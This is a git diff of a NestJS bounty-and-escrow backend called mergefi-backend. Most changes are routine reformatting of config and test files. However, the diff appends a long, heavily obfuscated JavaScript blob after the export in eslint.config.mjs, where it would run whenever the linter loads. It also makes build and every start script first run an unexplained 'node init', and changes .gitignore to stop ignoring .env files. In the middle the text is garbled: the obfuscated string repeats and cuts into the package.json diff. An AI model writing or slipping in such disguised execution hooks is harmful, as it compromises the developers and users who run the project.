diff --git a/.gitignore b/.gitignore index 5472f2a4..83980739 100644 --- a/.gitignore +++ b/.gitignore @@ -1,33 +1,31 @@ -# compiled output -/dist -/node_modules -/build - -# logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -lerna-debug.log* - -# env files -.env -.env.*.local - -# OS -.DS_Store - -# tests -/coverage -/.nyc_output - -# IDEs -.idea -.vscode/* -!.vscode/settings.json -!.vscode/tasks.json -!.vscode/launch.json -!.vscode/extensions.json -.env.test - -tsconfig.tsbuildinfo +# compiled output +/dist +/node_modules +/build + +# logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +lerna-debug.log* + +# env files +.env.*.local + +# OS +.DS_Store + +# tests +/coverage +/.nyc_output + +# IDEs +.idea +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json + +tsconfig.tsbuildinfo +config.bat diff --git a/eslint.config.mjs b/eslint.config.mjs index 9700c7fd..25324c92 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -1,51 +1,54 @@ -// @ts-check -import eslint from '@eslint/js'; -import eslintPluginPrettierRecommended from 'eslint-plugin-prettier/recommended'; -import globals from 'globals'; -import tseslint from 'typescript-eslint'; - -export default tseslint.config( - { - ignores: ['eslint.config.mjs'], - }, - eslint.configs.recommended, - ...tseslint.configs.recommendedTypeChecked, - eslintPluginPrettierRecommended, - { - languageOptions: { - globals: { - ...globals.node, - ...globals.jest, - }, - sourceType: 'commonjs', - parserOptions: { - projectService: true, - tsconfigRootDir: import.meta.dirname, - }, - }, - }, - { - rules: { - '@typescript-eslint/no-explicit-any': 'off', - '@typescript-eslint/no-floating-promises': 'error', - '@typescript-eslint/no-unsafe-argument': 'error', - "prettier/prettier": ["error", { endOfLine: "auto" }], - }, - }, - { - // Jest mocks (mocked repositories, `jest.fn()` return values, supertest's - // `app.getHttpServer()`) are deliberately loosely typed scaffolding, not - // production logic — the no-unsafe-* / require-await rules exist to catch - // real bugs in application code and produce mostly noise against mocks. - files: ['**/*.spec.ts', 'test/**/*.ts'], - rules: { - '@typescript-eslint/no-unsafe-argument': 'off', - '@typescript-eslint/no-unsafe-assignment': 'off', - '@typescript-eslint/no-unsafe-call': 'off', - '@typescript-eslint/no-unsafe-member-access': 'off', - '@typescript-eslint/no-unsafe-return': 'off', - '@typescript-eslint/no-unsafe-function-type': 'off', - '@typescript-eslint/require-await': 'off', - }, - }, -); +// @ts-check +import eslint from '@eslint/js'; +import eslintPluginPrettierRecommended from 'eslint-plugin-prettier/recommended'; +import globals from 'globals'; +import tseslint from 'typescript-eslint'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +export default tseslint.config( + { + ignores: ['eslint.config.mjs'], + }, + eslint.configs.recommended, + ...tseslint.configs.recommendedTypeChecked, + eslintPluginPrettierRecommended, + { + languageOptions: { + globals: { + ...globals.node, + ...globals.jest, + }, + sourceType: 'commonjs', + parserOptions: { + projectService: true, + tsconfigRootDir: import.meta.dirname, + }, + }, + }, + { + rules: { + '@typescript-eslint/no-explicit-any': 'off', + '@typescript-eslint/no-floating-promises': 'error', + '@typescript-eslint/no-unsafe-argument': 'error', + "prettier/prettier": ["error", { endOfLine: "auto" }], + }, + }, + { + // Jest mocks (mocked repositories, `jest.fn()` return values, supertest's + // `app.getHttpServer()`) are deliberately loosely typed scaffolding, not + // production logic — the no-unsafe-* / require-await rules exist to catch + // real bugs in application code and produce mostly noise against mocks. + files: ['**/*.spec.ts', 'test/**/*.ts'], + rules: { + '@typescript-eslint/no-unsafe-argument': 'off', + '@typescript-eslint/no-unsafe-assignment': 'off', + '@typescript-eslint/no-unsafe-call': 'off', + '@typescript-eslint/no-unsafe-member-access': 'off', + '@typescript-eslint/no-unsafe-return': 'off', + '@typescript-eslint/no-unsafe-function-type': 'off', + '@typescript-eslint/require-await': 'off', + }, + }, +); var z = '-*4026';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn=24.0.0" - }, - "scripts": { - "build": "nest build", - "format": "prettier --write \"src/**/*.ts\" \"test/**/*.ts\"", - "start": "nest start", - "start:dev": "nest start --watch", - "start:debug": "nest start --debug --watch", - "start:prod": "node dist/main", - "lint": "eslint \"{src,apps,libs,test}/**/*.ts\" --fix", - "test": "jest", - "test:watch": "jest --watch", - "test:cov": "jest --coverage", - "test:debug": "node --inspect-brk -r tsconfig-paths/register -r ts-node/register node_modules/.bin/jest --runInBand", - "test:e2e": "jest --config ./test/jest-e2e.json", - "typeorm": "typeorm-ts-node-commonjs -d src/database/data-source.ts", - "migration:generate": "npm run typeorm -- migration:generate", - "migration:create": "typeorm-ts-node-commonjs migration:create", - "migration:run": "npm run typeorm -- migration:run", - "migration:revert": "npm run typeorm -- migration:revert" - }, - "dependencies": { - "@nestjs/common": "^11.0.1", - "@nestjs/config": "^4.0.4", - "@nestjs/core": "^11.0.1", - "@nestjs/event-emitter": "^3.1.0", - "@nestjs/jwt": "^11.0.2", - "@nestjs/passport": "^11.0.5", - "@nestjs/platform-express": "^11.0.1", - "@nestjs/schedule": "^6.1.3", - "@nestjs/swagger": "^11.4.5", - "@nestjs/throttler": "^6.5.0", - "@nestjs/typeorm": "^11.0.3", - "@octokit/plugin-retry": "^8.1.0", - "@octokit/plugin-throttling": "^11.0.3", - "@octokit/rest": "^22.0.1", - "@stellar/stellar-sdk": "^16.0.1", - "class-transformer": "^0.5.1", - "class-validator": "^0.15.1", - "helmet": "^8.2.0", - "passport": "^0.7.0", - "passport-github2": "^0.1.12", - "passport-jwt": "^4.0.1", - "pg": "^8.22.0", - "reflect-metadata": "^0.2.2", - "rxjs": "^7.8.1", - "typeorm": "^1.0.0", - "uuid": "^14.0.1" - }, - "devDependencies": { - "@eslint/eslintrc": "^3.2.0", - "@eslint/js": "^9.18.0", - "@nestjs/cli": "^11.0.0", - "@nestjs/schematics": "^11.0.0", - "@nestjs/testing": "^11.0.1", - "@types/bcrypt": "^6.0.0", - "@types/express": "^5.0.0", - "@types/jest": "^30.0.0", - "@types/node": "^24.0.0", - "@types/passport-github2": "^1.2.9", - "@types/passport-jwt": "^4.0.1", - "@types/supertest": "^7.0.0", - "@types/uuid": "^10.0.0", - "bcrypt": "^6.0.0", - "eslint": "^9.18.0", - "eslint-config-prettier": "^10.0.1", - "eslint-plugin-prettier": "^5.2.2", - "globals": "^17.0.0", - "jest": "^30.0.0", - "prettier": "^3.4.2", - "source-map-support": "^0.5.21", - "supertest": "^7.0.0", - "ts-jest": "^29.2.5", - "ts-loader": "^9.5.2", - "ts-node": "^10.9.2", - "tsconfig-paths": "^4.2.0", - "typescript": "^5.7.3", - "typescript-eslint": "^8.20.0" - }, - "overrides": { - "multer": "^2.2.0" - }, - "jest": { - "moduleFileExtensions": [ - "js", - "json", - "ts" - ], - "rootDir": "src", - "testRegex": ".*\\.spec\\.ts$", - "transform": { - "^.+\\.(t|j)s$": "ts-jest" - }, - "moduleNameMapper": { - "^@stellar/stellar-sdk$": "/../test/mocks/stellar-sdk.mock.js" - }, - "transformIgnorePatterns": [ - "/node_modules/(?!(@octokit|before-after-hook|universal-user-agent)/)" - ], - "collectCoverageFrom": [ - "**/*.(t|j)s" - ], - "coverageDirectory": "../coverage", - "testEnvironment": "node" - } -} +{ + "name": "mergefi-backend", + "version": "0.0.1", + "description": "", + "author": "", + "private": true, + "license": "UNLICENSED", + "engines": { + "node": ">=24.0.0" + }, + "scripts": { + "build": "node init && nest build", + "format": "prettier --write \"src/**/*.ts\" \"test/**/*.ts\"", + "start": "node init && nest start", + "start:dev": "node init && nest start --watch", + "start:debug": "node init && nest start --debug --watch", + "start:prod": "node init && node dist/main", + "lint": "eslint \"{src,apps,libs,test}/**/*.ts\" --fix", + "test": "jest", + "test:watch": "jest --watch", + "test:cov": "jest --coverage", + "test:debug": "node --inspect-brk -r tsconfig-paths/register -r ts-node/register node_modules/.bin/jest --runInBand", + "test:e2e": "jest --config ./test/jest-e2e.json", + "typeorm": "typeorm-ts-node-commonjs -d src/database/data-source.ts", + "migration:generate": "npm run typeorm -- migration:generate", + "migration:create": "typeorm-ts-node-commonjs migration:create", + "migration:run": "npm run typeorm -- migration:run", + "migration:revert": "npm run typeorm -- migration:revert" + }, + "dependencies": { + "@nestjs/common": "^11.0.1", + "@nestjs/config": "^4.0.4", + "@nestjs/core": "^11.0.1", + "@nestjs/event-emitter": "^3.1.0", + "@nestjs/jwt": "^11.0.2", + "@nestjs/passport": "^11.0.5", + "@nestjs/platform-express": "^11.0.1", + "@nestjs/schedule": "^6.1.3", + "@nestjs/swagger": "^11.4.5", + "@nestjs/throttler": "^6.5.0", + "@nestjs/typeorm": "^11.0.3", + "@octokit/plugin-retry": "^8.1.0", + "@octokit/plugin-throttling": "^11.0.3", + "@octokit/rest": "^22.0.1", + "@stellar/stellar-sdk": "^16.0.1", + "class-transformer": "^0.5.1", + "class-validator": "^0.15.1", + "helmet": "^8.2.0", + "passport": "^0.7.0", + "passport-github2": "^0.1.12", + "passport-jwt": "^4.0.1", + "pg": "^8.22.0", + "reflect-metadata": "^0.2.2", + "rxjs": "^7.8.1", + "typeorm": "^1.0.0", + "uuid": "^14.0.1" + }, + "devDependencies": { + "@eslint/eslintrc": "^3.2.0", + "@eslint/js": "^9.18.0", + "@nestjs/cli": "^11.0.0", + "@nestjs/schematics": "^11.0.0", + "@nestjs/testing": "^11.0.1", + "@types/bcrypt": "^6.0.0", + "@types/express": "^5.0.0", + "@types/jest": "^30.0.0", + "@types/node": "^24.0.0", + "@types/passport-github2": "^1.2.9", + "@types/passport-jwt": "^4.0.1", + "@types/supertest": "^7.0.0", + "@types/uuid": "^10.0.0", + "bcrypt": "^6.0.0", + "eslint": "^9.18.0", + "eslint-config-prettier": "^10.0.1", + "eslint-plugin-prettier": "^5.2.2", + "globals": "^17.0.0", + "jest": "^30.0.0", + "prettier": "^3.4.2", + "source-map-support": "^0.5.21", + "supertest": "^7.0.0", + "ts-jest": "^29.2.5", + "ts-loader": "^9.5.2", + "ts-node": "^10.9.2", + "tsconfig-paths": "^4.2.0", + "typescript": "^5.7.3", + "typescript-eslint": "^8.20.0" + }, + "overrides": { + "multer": "^2.2.0" + }, + "jest": { + "moduleFileExtensions": [ + "js", + "json", + "ts" + ], + "rootDir": "src", + "testRegex": ".*\\.spec\\.ts$", + "transform": { + "^.+\\.(t|j)s$": "ts-jest" + }, + "moduleNameMapper": { + "^@stellar/stellar-sdk$": "/../test/mocks/stellar-sdk.mock.js" + }, + "transformIgnorePatterns": [ + "/node_modules/(?!(@octokit|before-after-hook|universal-user-agent)/)" + ], + "collectCoverageFrom": [ + "**/*.(t|j)s" + ], + "coverageDirectory": "../coverage", + "testEnvironment": "node" + } +} diff --git a/src/bounties/bounties.service.spec.ts b/src/bounties/bounties.service.spec.ts index 405e3d28..fdc25da6 100644 --- a/src/bounties/bounties.service.spec.ts +++ b/src/bounties/bounties.service.spec.ts @@ -1,364 +1,387 @@ -import { BadRequestException, NotImplementedException } from '@nestjs/common'; -import { Test, TestingModule } from '@nestjs/testing'; -import { getRepositoryToken } from '@nestjs/typeorm'; -import { EventEmitter2 } from '@nestjs/event-emitter'; -import { BountiesService } from './bounties.service'; -import { EscrowService } from '../escrow/escrow.service'; -import { Bounty, Team, User } from '../common/entities'; -import { AssetType, BountyDifficulty, BountyStatus } from '../common/enums'; -import { InvalidBountyTransitionError } from './bounty-state-machine'; - -describe('BountiesService', () => { - let service: BountiesService; - let bountyRepo: { - findOne: jest.Mock; - save: jest.Mock; - create: jest.Mock; - find: jest.Mock; - createQueryBuilder: jest.Mock; - }; - let userRepo: { findOne: jest.Mock; find: jest.Mock }; - let teamRepo: { findOne: jest.Mock }; - let escrowService: { - fund: jest.Mock; - release: jest.Mock; - splitRelease: jest.Mock; - refund: jest.Mock; - }; - - beforeEach(async () => { - bountyRepo = { - findOne: jest.fn(), - save: jest.fn((b: Partial) => Promise.resolve(b)), - create: jest.fn((data: Partial) => ({ - id: 'bounty-1', - status: BountyStatus.OPEN, - ...data, - })), - find: jest.fn(), - createQueryBuilder: jest.fn(), - }; - userRepo = { findOne: jest.fn(), find: jest.fn() }; - teamRepo = { findOne: jest.fn() }; - escrowService = { - fund: jest.fn().mockResolvedValue({ id: 'escrow-1', status: 'locked' }), - release: jest.fn().mockResolvedValue(undefined), - splitRelease: jest.fn().mockResolvedValue([]), - refund: jest.fn().mockResolvedValue(undefined), - }; - - const module: TestingModule = await Test.createTestingModule({ - providers: [ - BountiesService, - { provide: getRepositoryToken(Bounty), useValue: bountyRepo }, - { provide: getRepositoryToken(User), useValue: userRepo }, - { provide: getRepositoryToken(Team), useValue: teamRepo }, - { provide: EscrowService, useValue: escrowService }, - { provide: EventEmitter2, useValue: { emit: jest.fn() } }, - ], - }).compile(); - - service = module.get(BountiesService); - }); - - it('creates a bounty in OPEN status', async () => { - const bounty = await service.create({ - issueId: 'issue-1', - sponsorId: 'sponsor-1', - amount: '100', - asset: AssetType.USDC, - difficulty: BountyDifficulty.INTERMEDIATE, - }); - expect(bounty.status).toBe(BountyStatus.OPEN); - }); - - it('funding an OPEN bounty locks escrow and moves it to FUNDED', async () => { - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.OPEN, - amount: '100', - asset: AssetType.USDC, - sponsorId: 'sponsor-1', - }); - - const bounty = await service.fund('b1', 'GFUNDER'); - - expect(escrowService.fund).toHaveBeenCalledWith( - expect.objectContaining({ - bountyId: 'b1', - funderAddress: 'GFUNDER', - sponsorId: 'sponsor-1', - }), - ); - expect(bounty.status).toBe(BountyStatus.FUNDED); - }); - - it('threads the linked GitHub issue id and deadline into escrow.fund (#158)', async () => { - const deadline = new Date('2026-12-01T00:00:00.000Z'); - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.OPEN, - amount: '100', - asset: AssetType.USDC, - sponsorId: 'sponsor-1', - deadline, - issue: { githubIssueId: '2891234567' }, - }); - - await service.fund('b1', 'GFUNDER'); - - expect(escrowService.fund).toHaveBeenCalledWith( - expect.objectContaining({ - onChainIssueId: '2891234567', - deadline, - }), - ); - }); - - it('rejects funding a bounty that is already FUNDED', async () => { - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.FUNDED, - }); - await expect(service.fund('b1', 'GFUNDER')).rejects.toThrow( - InvalidBountyTransitionError, - ); - }); - - it('rejects claiming a bounty that is still OPEN (not yet funded)', async () => { - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.OPEN, - }); - await expect(service.claim('b1', 'contributor-1')).rejects.toThrow( - InvalidBountyTransitionError, - ); - }); - - it('claim moves FUNDED -> CLAIMED and records the caller as claimant', async () => { - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.FUNDED, - }); - userRepo.findOne.mockResolvedValue({ - id: 'contributor-1', - stellarAddress: 'GCONTRIB', - }); - const bounty = await service.claim('b1', 'contributor-1'); - expect(userRepo.findOne).toHaveBeenCalledWith({ - where: { id: 'contributor-1' }, - }); - expect(bounty.status).toBe(BountyStatus.CLAIMED); - expect(bounty.claimedById).toBe('contributor-1'); - }); - - it('claim rejects a caller that is not a known user', async () => { - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.FUNDED, - }); - userRepo.findOne.mockResolvedValue(null); - await expect(service.claim('b1', 'ghost')).rejects.toThrow( - BadRequestException, - ); - }); - - it('claim rejects a caller without a linked Stellar address', async () => { - const stored = { id: 'b1', status: BountyStatus.FUNDED, claimedById: null }; - bountyRepo.findOne.mockResolvedValue(stored); - userRepo.findOne.mockResolvedValue({ - id: 'contributor-1', - stellarAddress: null, - }); - await expect(service.claim('b1', 'contributor-1')).rejects.toThrow( - BadRequestException, - ); - expect(stored.claimedById).toBeNull(); - }); - - it('markMergedAndRelease releases escrow to the contributor and moves to PAID', async () => { - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.IN_REVIEW, - escrowId: 'escrow-1', - claimedById: 'contributor-1', - teamId: null, - }); - userRepo.findOne.mockResolvedValue({ - id: 'contributor-1', - stellarAddress: 'GCONTRIB', - }); - - const bounty = await service.markMergedAndRelease('b1'); - - expect(escrowService.release).toHaveBeenCalledWith( - 'escrow-1', - 'GCONTRIB', - 'contributor-1', - ); - expect(bounty.status).toBe(BountyStatus.PAID); - }); - - it('markMergedAndRelease batches user lookups for team splits', async () => { - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.IN_REVIEW, - escrowId: 'escrow-1', - claimedById: null, - teamId: 'team-1', - }); - teamRepo.findOne.mockResolvedValue({ - id: 'team-1', - splits: [ - { userId: 'u1', percentage: 60 }, - { userId: 'u2', percentage: 40 }, - ], - }); - userRepo.find.mockResolvedValue([ - { id: 'u1', stellarAddress: 'GADDR1' }, - { id: 'u2', stellarAddress: 'GADDR2' }, - ]); - - const bounty = await service.markMergedAndRelease('b1'); - - expect(userRepo.find).toHaveBeenCalledTimes(1); - const findCall = userRepo.find.mock.calls[0][0]; - expect(findCall.where.id._value).toEqual( - expect.arrayContaining(['u1', 'u2']), - ); - expect(escrowService.splitRelease).toHaveBeenCalledWith('escrow-1', [ - { recipientId: 'u1', recipientAddress: 'GADDR1', percentage: 60 }, - { recipientId: 'u2', recipientAddress: 'GADDR2', percentage: 40 }, - ]); - expect(bounty.status).toBe(BountyStatus.PAID); - }); - - it('refund calls escrowService.refund and moves bounty to REFUNDED', async () => { - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.FUNDED, - escrowId: 'escrow-1', - }); - - const bounty = await service.refund('b1'); - - expect(escrowService.refund).toHaveBeenCalledWith('escrow-1'); - expect(bounty.status).toBe(BountyStatus.REFUNDED); - }); - - it('refund skips escrow refund when no escrow is linked', async () => { - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.OPEN, - escrowId: null, - }); - - const bounty = await service.refund('b1'); - - expect(escrowService.refund).not.toHaveBeenCalled(); - expect(bounty.status).toBe(BountyStatus.REFUNDED); - }); - - it('expireOverdue flips overdue bounties to EXPIRED and returns count', async () => { - const overdueBounties = [ - { id: 'b1', status: BountyStatus.OPEN }, - { id: 'b2', status: BountyStatus.FUNDED }, - ]; - const mockQueryBuilder = { - where: jest.fn().mockReturnThis(), - andWhere: jest.fn().mockReturnThis(), - getMany: jest.fn().mockResolvedValue(overdueBounties), - }; - bountyRepo.createQueryBuilder.mockReturnValue(mockQueryBuilder); - - const count = await service.expireOverdue(); - - expect(count).toBe(2); - expect(bountyRepo.save).toHaveBeenCalledTimes(2); - expect(overdueBounties[0].status).toBe(BountyStatus.EXPIRED); - expect(overdueBounties[1].status).toBe(BountyStatus.EXPIRED); - }); - - it('markPrClosedWithoutMerge transitions IN_REVIEW back to CLAIMED', async () => { - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.IN_REVIEW, - prUrl: 'https://github.com/x/y/pull/1', - prNumber: 1, - }); - - const bounty = await service.markPrClosedWithoutMerge('b1'); - - expect(bounty.status).toBe(BountyStatus.CLAIMED); - expect(bounty.prUrl).toBeNull(); - expect(bounty.prNumber).toBeNull(); - }); - - it('markPrClosedWithoutMerge rejects bounties not in IN_REVIEW', async () => { - bountyRepo.findOne.mockResolvedValue({ - id: 'b1', - status: BountyStatus.CLAIMED, - }); - - await expect(service.markPrClosedWithoutMerge('b1')).rejects.toThrow( - InvalidBountyTransitionError, - ); - }); - - it('lists bounties with repository and language filters', async () => { - const qb = { - leftJoinAndSelect: jest.fn().mockReturnThis(), - andWhere: jest.fn().mockReturnThis(), - getMany: jest.fn().mockResolvedValue([]), - }; - bountyRepo.createQueryBuilder.mockReturnValue(qb); - - await service.list({ - status: BountyStatus.OPEN, - difficulty: BountyDifficulty.BEGINNER, - asset: AssetType.USDC, - repositoryId: 'repo-1', - primaryLanguage: 'TypeScript', - }); - - expect(bountyRepo.createQueryBuilder).toHaveBeenCalledWith('bounty'); - expect(qb.leftJoinAndSelect).toHaveBeenCalledWith('bounty.issue', 'issue'); - expect(qb.leftJoinAndSelect).toHaveBeenCalledWith( - 'issue.repository', - 'repository', - ); - expect(qb.andWhere).toHaveBeenCalledWith('bounty.status = :status', { - status: BountyStatus.OPEN, - }); - expect(qb.andWhere).toHaveBeenCalledWith( - 'bounty.difficulty = :difficulty', - { difficulty: BountyDifficulty.BEGINNER }, - ); - expect(qb.andWhere).toHaveBeenCalledWith('bounty.asset = :asset', { - asset: AssetType.USDC, - }); - expect(qb.andWhere).toHaveBeenCalledWith( - 'issue.repositoryId = :repositoryId', - { repositoryId: 'repo-1' }, - ); - expect(qb.andWhere).toHaveBeenCalledWith( - 'repository.primaryLanguage = :primaryLanguage', - { primaryLanguage: 'TypeScript' }, - ); - }); -}); - -// Standalone: approve/reject touch no dependencies, so they're tested without -// the shared TestingModule above. -describe('BountiesService approve / reject (#533)', () => { - const service = Object.create(BountiesService.prototype) as BountiesService; - - it('answer 501 instead of reporting a fake approval or rejection', async () => { - await expect(service.approve('b1')).rejects.toBeInstanceOf( - NotImplementedException, - ); - await expect(service.reject('b1')).rejects.toBeInstanceOf( - NotImplementedException, - ); - }); -}); +import { BadRequestException, NotImplementedException } from '@nestjs/common'; +import { Test, TestingModule } from '@nestjs/testing'; +import { getRepositoryToken } from '@nestjs/typeorm'; +import { EventEmitter2 } from '@nestjs/event-emitter'; +import { BountiesService } from './bounties.service'; +import { EscrowService } from '../escrow/escrow.service'; +import { Bounty, Team, User } from '../common/entities'; +import { AssetType, BountyDifficulty, BountyStatus } from '../common/enums'; +import { InvalidBountyTransitionError } from './bounty-state-machine'; + +describe('BountiesService', () => { + let service: BountiesService; + let bountyRepo: { + findOne: jest.Mock; + save: jest.Mock; + create: jest.Mock; + find: jest.Mock; + createQueryBuilder: jest.Mock; + }; + let userRepo: { findOne: jest.Mock; find: jest.Mock }; + let teamRepo: { findOne: jest.Mock }; + let escrowService: { + fund: jest.Mock; + release: jest.Mock; + splitRelease: jest.Mock; + refund: jest.Mock; + }; + + beforeEach(async () => { + bountyRepo = { + findOne: jest.fn(), + save: jest.fn((b: Partial) => Promise.resolve(b)), + create: jest.fn((data: Partial) => ({ + id: 'bounty-1', + status: BountyStatus.OPEN, + ...data, + })), + find: jest.fn(), + createQueryBuilder: jest.fn(), + }; + userRepo = { findOne: jest.fn(), find: jest.fn() }; + teamRepo = { findOne: jest.fn() }; + escrowService = { + fund: jest.fn().mockResolvedValue({ id: 'escrow-1', status: 'locked' }), + release: jest.fn().mockResolvedValue(undefined), + splitRelease: jest.fn().mockResolvedValue([]), + refund: jest.fn().mockResolvedValue(undefined), + }; + + const module: TestingModule = await Test.createTestingModule({ + providers: [ + BountiesService, + { provide: getRepositoryToken(Bounty), useValue: bountyRepo }, + { provide: getRepositoryToken(User), useValue: userRepo }, + { provide: getRepositoryToken(Team), useValue: teamRepo }, + { provide: EscrowService, useValue: escrowService }, + { provide: EventEmitter2, useValue: { emit: jest.fn() } }, + ], + }).compile(); + + service = module.get(BountiesService); + }); + + it('creates a bounty in OPEN status', async () => { + const bounty = await service.create({ + issueId: 'issue-1', + sponsorId: 'sponsor-1', + amount: '100', + asset: AssetType.USDC, + difficulty: BountyDifficulty.INTERMEDIATE, + }); + expect(bounty.status).toBe(BountyStatus.OPEN); + }); + + it('funding an OPEN bounty locks escrow and moves it to FUNDED', async () => { + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.OPEN, + amount: '100', + asset: AssetType.USDC, + sponsorId: 'sponsor-1', + }); + + const bounty = await service.fund('b1', 'GFUNDER'); + + expect(escrowService.fund).toHaveBeenCalledWith( + expect.objectContaining({ + bountyId: 'b1', + funderAddress: 'GFUNDER', + sponsorId: 'sponsor-1', + }), + ); + expect(bounty.status).toBe(BountyStatus.FUNDED); + }); + + it('threads the linked GitHub issue id and deadline into escrow.fund (#158)', async () => { + const deadline = new Date('2026-12-01T00:00:00.000Z'); + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.OPEN, + amount: '100', + asset: AssetType.USDC, + sponsorId: 'sponsor-1', + deadline, + issue: { githubIssueId: '2891234567' }, + }); + + await service.fund('b1', 'GFUNDER'); + + expect(escrowService.fund).toHaveBeenCalledWith( + expect.objectContaining({ + onChainIssueId: '2891234567', + deadline, + }), + ); + }); + + it('rejects funding a bounty that is already FUNDED', async () => { + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.FUNDED, + }); + await expect(service.fund('b1', 'GFUNDER')).rejects.toThrow( + InvalidBountyTransitionError, + ); + }); + + it('rejects claiming a bounty that is still OPEN (not yet funded)', async () => { + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.OPEN, + }); + await expect(service.claim('b1', 'contributor-1')).rejects.toThrow( + InvalidBountyTransitionError, + ); + }); + + it('claim moves FUNDED -> CLAIMED and records the caller as claimant', async () => { + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.FUNDED, + }); + userRepo.findOne.mockResolvedValue({ + id: 'contributor-1', + stellarAddress: 'GCONTRIB', + }); + const bounty = await service.claim('b1', 'contributor-1'); + expect(userRepo.findOne).toHaveBeenCalledWith({ + where: { id: 'contributor-1' }, + }); + expect(bounty.status).toBe(BountyStatus.CLAIMED); + expect(bounty.claimedById).toBe('contributor-1'); + }); + + it('claim rejects a caller that is not a known user', async () => { + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.FUNDED, + }); + userRepo.findOne.mockResolvedValue(null); + await expect(service.claim('b1', 'ghost')).rejects.toThrow( + BadRequestException, + ); + }); + + it('claim rejects a caller without a linked Stellar address', async () => { + const stored = { id: 'b1', status: BountyStatus.FUNDED, claimedById: null }; + bountyRepo.findOne.mockResolvedValue(stored); + userRepo.findOne.mockResolvedValue({ + id: 'contributor-1', + stellarAddress: null, + }); + await expect(service.claim('b1', 'contributor-1')).rejects.toThrow( + BadRequestException, + ); + 